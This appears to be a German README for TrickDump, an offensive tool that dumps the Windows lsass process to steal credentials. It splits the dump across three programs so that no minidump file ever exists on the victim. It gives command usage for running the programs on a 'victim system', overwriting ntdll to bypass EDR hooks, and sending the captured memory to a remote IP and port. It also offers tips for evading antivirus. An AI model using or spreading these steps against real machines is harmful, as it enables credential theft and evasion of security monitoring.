
Lsass mit ausschließlich NTAPI-Funktionen dumpen, dabei 3 JSON- und 1 ZIP-Datei erstellen... und die MiniDump-Datei später generieren!
TrickDump dumpt den lsass-Prozess, ohne eine Minidump-Datei zu erstellen, und generiert stattdessen 3 JSON- und 1 ZIP-Datei mit den Speicherbereichs-Dumps. In drei Schritten:
Lock: Betriebssysteminformationen mit RtlGetVersion abrufen.
Shock: SeDebugPrivilege-Berechtigung mit NtOpenProcessToken und NtAdjustPrivilegeToken erlangen, ein Handle mit NtGetNextProcess und NtQueryInformationProcess öffnen und dann Modulinformationen mit NtQueryInformationProcess und NtReadVirtualMemory abrufen.
Barrel: SeDebugPrivilege-Berechtigung erlangen, ein Handle öffnen und dann Informationen abrufen und Speicherbereiche mit NtQueryVirtualMemory und NtReadVirtualMemory dumpen.

Im Angriffssystem verwenden Sie das Skript create_dump.py, um die Minidump-Datei zu generieren:
python3 create_dump.py [-l LOCK_JSON] [-s SHOCK_JSON] [-b BARREL_JSON] [-z BARREL_ZIP] [-o OUTPUT_FILE]
Die Vorteile dieser Technik sind:
Es befindet sich zu keinem Zeitpunkt eine gültige Minidump-Datei auf der Festplatte, im Arbeitsspeicher oder im Netzwerkverkehr.
Es gibt nicht nur ein einzelnes Programm oder einen Prozess, der den gesamten Angriff ausführt, sondern drei getrennte, was möglicherweise weniger Alarm auslöst.
Die Programme verwenden ausschließlich NTAPIs (dieses Projekt ist eine Variante von NativeDump).
Es verwendet weder OpenProcess noch NtOpenProcess, um das Handle des lsass-Prozesses mit den Zugriffsrechten PROCESS_VM_OPERATION und PROCESS_VM_WRITE zu erhalten.
Jedes Programm erlaubt es, den ".text"-Abschnitt der ntdll.dll-Bibliothek zu überschreiben, um API-Hooking zu umgehen:
Es ist in verschiedenen Sprachen verfügbar:
Es funktioniert nicht, wenn PPL aktiviert ist, die PEB-Struktur nicht lesbar ist oder die Binärdateien nicht als 64-Bit kompiliert sind. Update: Jetzt ist es möglich, die Programme auszuführen, ohne die PEB zu lesen, siehe den peb-unreadable-Zweig :)
Die Technik funktioniert einwandfrei auf den neuesten Windows-Versionen und wurde gegen gängige AV- und EDR-Lösungen getestet, aber die Tarnung hängt von der gewählten "Spielart" ab: Verwenden Sie ungewöhnliche Sprachen und passen Sie die Binärdateien für die besten Ergebnisse an!
Die Programme werden im Opfersystem ausgeführt und erstellen drei JSON-Dateien (mit Informationen zu Speicherbereichen) und eine ZIP-Datei (mit jedem Speicherbereichs-Dump).
Lock.exe [disk/knowndlls/debugproc]
Shock.exe [disk/knowndlls/debugproc]
Barrel.exe [disk/knowndlls/debugproc]
Sie können die Programme direkt ausführen, ohne die ntdll.dll-Bibliothek zu überschreiben:

Oder verwenden Sie eine der drei verschiedenen Überschreibungstechniken:

Dann wird die Minidump-Datei generiert:

Wenn Sie es vorziehen, nur eine Binärdatei auszuführen, generiert Trick.exe eine ZIP-Datei, die die 3 JSON-Dateien und die ZIP-Datei mit den Speicherbereichen enthält:
Trick.exe [disk/knowndlls/debugproc] [IP_ADDRESS] [PORT]
Sie können die ZIP-Datei lokal erstellen, optional unter Verwendung einer Ntdll-Überschreibungsmethode:

Oder senden Sie sie an einen entfernten Port, indem Sie den zweiten und dritten Parameter als IP-Adresse und Port verwenden:

In beiden Fällen erhalten Sie eine ZIP-Datei wie diese, entpacken Sie sie und erstellen Sie die Minidump-Datei:
